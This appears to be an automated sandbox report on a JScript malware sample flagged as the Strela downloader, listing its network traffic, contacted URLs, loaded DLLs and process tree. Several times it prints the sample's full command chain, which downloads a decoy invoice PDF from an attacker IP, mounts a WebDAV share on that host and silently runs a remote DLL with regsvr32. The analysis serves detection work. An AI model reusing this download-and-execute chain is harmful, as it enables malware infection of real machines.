TCP traffic: 192.168.2.4:49736 -> 193.143.1.205:8888

Source: global traffic

TCP traffic: 192.168.2.4:57393 -> 1.1.1.1:53

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.4:49735 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1757956648.000001FCE7FA0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1760149802.000001FCE9944000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000006.00000003.1829200474.000001CDBE95A000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1838413181.000001CDBE908000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1829472091.000001CDBE93B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1838811152.000001CDBE93B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000006.00000003.1829472091.000001CDBE93B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1838811152.000001CDBE93B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/d
Source: net.exe, 00000006.00000003.1829472091.000001CDBE93B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1838811152.000001CDBE93B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/gH
Source: net.exe, 00000006.00000002.1838413181.000001CDBE908000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/tem
Source: svchost.exe, 00000008.00000002.3046774182.0000025D5C00F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: svchost.exe, 00000008.00000003.1837176287.0000025D5C218000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: svchost.exe, 00000008.00000003.1837176287.0000025D5C218000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 00000008.00000003.1837176287.0000025D5C218000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: svchost.exe, 00000008.00000003.1837176287.0000025D5C24D000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.8.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.7.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: svchost.exe, 00000008.00000003.1837176287.0000025D5C2C2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: svchost.exe, 00000008.00000003.1837176287.0000025D5C2C2000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
Source: svchost.exe, 00000008.00000003.1837176287.0000025D5C2C2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 5348, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\580246788750.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\580246788750.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 2148023713578731850.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/58@2/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5940:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3fysk5v1.san.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2148023713578731850.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\580246788750.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2124 --field-trial-handle=1608,i,6291338694394739944,1176206968790904540,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\580246788750.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2124 --field-trial-handle=1608,i,6291338694394739944,1176206968790904540,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
